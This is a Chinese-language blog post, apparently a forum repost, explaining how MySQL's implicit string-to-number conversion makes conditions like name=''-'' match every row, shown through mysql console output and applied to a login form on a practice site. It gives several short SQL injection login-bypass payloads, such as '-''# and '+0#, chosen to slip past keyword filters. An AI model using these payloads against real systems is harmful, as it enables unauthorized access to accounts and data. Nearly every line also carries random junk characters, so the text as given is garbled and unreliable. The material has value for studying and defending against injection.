我们先来看这样一个场景。
V% f! o9 P' X! P2 v有以下表结构:
' s3 { s1 T. ?; b
9 [8 r1 `! m, O* m$ b ~! ?3 Y7 umysql> desc admin;
7 ]' U8 t3 h: K& f1 V* C# f4 q) x+----------+--------------+------+-----+---------+----------------+
2 H& m2 D8 o, E: p' X# v| Field | Type | Null | Key | Default | Extra |
" v/ L" j! q0 ~ `6 _9 g6 u. U+----------+--------------+------+-----+---------+----------------+" L. p; D1 g- l3 z
| id | mediumint(9) | NO | PRI | NULL | auto_increment |+ D/ M' o# Q% }
| name | char(32) | NO | UNI | NULL | |
8 s4 m0 W0 f5 J% _ _3 H| password | char(32) | NO | UNI | NULL | |6 C% W' Z1 l' q2 t/ g { s
+----------+--------------+------+-----+---------+----------------+
3 ]# n y2 n' w5 X5 E3 rows in set (0.00 sec), o n+ @' p0 O _" Z9 K1 a, ~& N
执行select * from admin;,成功返回所有记录内容。5 o b" b; h* u+ o" p) r
' w9 Y8 E) ]- {0 P- h8 [ Y/ x/ m- h/ `8 |+ f* x8 T0 {
+----+--------+----------------------------------+; o2 Z( S5 o" T+ I
| id | name | password |
8 [9 Y9 }+ k3 Q7 r+----+--------+----------------------------------+9 l6 B- X6 } V0 q4 d9 o7 \
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |" _ ^. I" x6 k0 E9 n" t6 Y, {
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
6 }" s* N' t f# a| 4 | n00b | ff80e8508d39047460921792273533a4 |
- N' v9 Z* ?' @! ]; o) g' V+----+--------+----------------------------------+$ k2 U4 y# l* ^$ g7 U
3 rows in set (0.00 sec)& `# e* b" S# X* I$ W5 W% ?
执行select * from admin where name=”;,没有匹配到任何记录。
' t& l; t6 Y7 x9 H& t" `- R5 W$ E! ^
3 E' I5 C$ l# i+ E# M; x) k' F- Fmysql> select * from admin where name = '';0 f: l o- T; K, N2 w0 d
Empty set (0.00 sec)/ h0 h) M$ @# [6 ^# L7 I, ]4 ~
那么我们来执行select * from admin where name = ”-”;, `9 C' E/ l9 c6 C4 i% D* d2 @
+ Z! Q2 H$ z+ p* s' F/ Q
9 q" s3 H* C2 B% `% |: U( h+----+--------+----------------------------------+
9 k/ g# ?8 T) R1 {) R+ b- O| id | name | password |6 E* _" N4 Y+ V: E+ L/ r
+----+--------+----------------------------------+
# q& k$ |* R, S| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |3 x$ V; V$ M- T" i
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
9 z/ V2 Y0 H, N. ^; i5 c: e! w8 h, o' N2 N| 4 | n00b | ff80e8508d39047460921792273533a4 |
6 N$ a, ~* I% e) [5 W+----+--------+----------------------------------+: M0 a0 B7 B3 p+ `. d
3 rows in set, 3 warnings (0.00 sec)
( c2 }( v$ c4 L% }- A* Z, z可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
2 u0 q7 j5 S7 l5 d- C! d
% Q V9 E) ^6 O$ M4 O- G2 X: G8 rmysql> show warnings;
- R. W+ D0 }! n* |6 W4 q9 Z+---------+------+------------------------------------------
: h: O: ]3 V, D* U3 Q3 \% k| Level | Code | Message$ C; @$ A. }) x5 d
+---------+------+------------------------------------------4 M& w& @+ q/ \+ V4 G* J9 p! ^
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin0 J- `. y( C V1 {
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
" ]: e1 @; i5 V& C) R+ u8 @( p9 t3 n| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
6 {( k8 B% }3 P! C+---------+------+------------------------------------------. x* f% e% m! u8 l* u
3 rows in set (0.00 sec)
0 }0 a, p- u+ O* r. E* I提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
& G8 x1 A8 u) f4 a
# `2 ^- E& }! D- Z ]mysql> select ''-'';
. X: i! p1 h6 w& [( {9 G \+-------+
' m& G9 l( F0 w! O| ''-'' |
1 S: u3 e! z/ W0 l' C$ }+-------+/ u7 A2 B8 r: W# q* N
| 0 |1 b$ O- D( }: h- `4 h* E; _0 c
+-------+: s, V# Z5 f3 Q z( s3 w
1 row in set (0.00 sec)
) k+ A; ^( b/ Z+ `返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
7 E6 s9 }2 t: C$ w8 K9 x
1 l- X9 F3 S7 d( M. xmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
: s3 I+ W/ }! [2 J+-----------------------------------------------------+
# `7 z; ~9 A. y* n/ ]| CAST((select name from admin limit 1,1) as DECIMAL) |+ `0 ?6 k5 ^' [) d4 W2 ~2 v! y
+-----------------------------------------------------+
+ e# t7 u& J J& q0 e1 m* Q| 0 |
7 @& `+ q$ F! d! `, e# H, @/ \+-----------------------------------------------------+) t) v! A- x% w
1 row in set, 1 warning (0.00 sec)
1 D2 r* ^- B6 x因此where语句构成了相等的条件,where 0=”=”,记录被返回。 & S9 ?. V' J; J% A& a$ C
k/ h! _$ r# ^: Z a) T
SQL注入场景: http://www.sqlzoo.net/hack/
. C9 u. ^5 P `# C' y/ ?/ y4 E$ y$ |8 n, y5 @ I$ C& O) s
2 Z( {, o- V5 M" |. ]0 ^
' |4 F% \0 N1 M
1 e- r6 i0 L1 B如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
$ Z$ d5 p9 ^$ p; n. N- |
- n9 s* L+ Z" B% D+ M y3 v0 A那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ( v4 b1 L$ E# H0 ^0 o2 Y- K
4 ]* X* A+ P: g* g, \
' j( K8 _+ ^: ]/ L& C& ~$ m4 I
! L+ X+ ?! c7 @# F: ^. b# s+ U
2 k$ d( n- B) a, R仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
+ V- E0 R" H* k( O" n* v# K: r {! u" v, S9 P7 e
. A6 y' v0 Y+ u8 c5 Z% d+ }& c9 ^) D+ F6 B% |
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可, [& p) V; g! D) r& G
1 n+ T. d P3 Q* f+ P& S1 m2 @/ s- u! e8 h# x4 u* x9 w- a6 e% g
mysql> select ''/1;+ r- b& W# ]8 I
+------+
- I# s- T0 z; c+ d5 s| ''/1 |
[1 H( l& P' b+------+, f8 e- K8 s% v% j1 C7 T: a$ W/ T
| 0 |* U7 a2 L) ?! ~, R' }4 Y
+------+. g! g" y: e @1 M$ M/ m1 _# n
1 row in set (0.00 sec)
& \' c8 J5 }# L6 w: A& ^类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
6 ^! k) Z! Q" Q4 A, Z2 G! `0 n @# c7 X0 k
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。: x, c, a) D Q) }4 J
|
|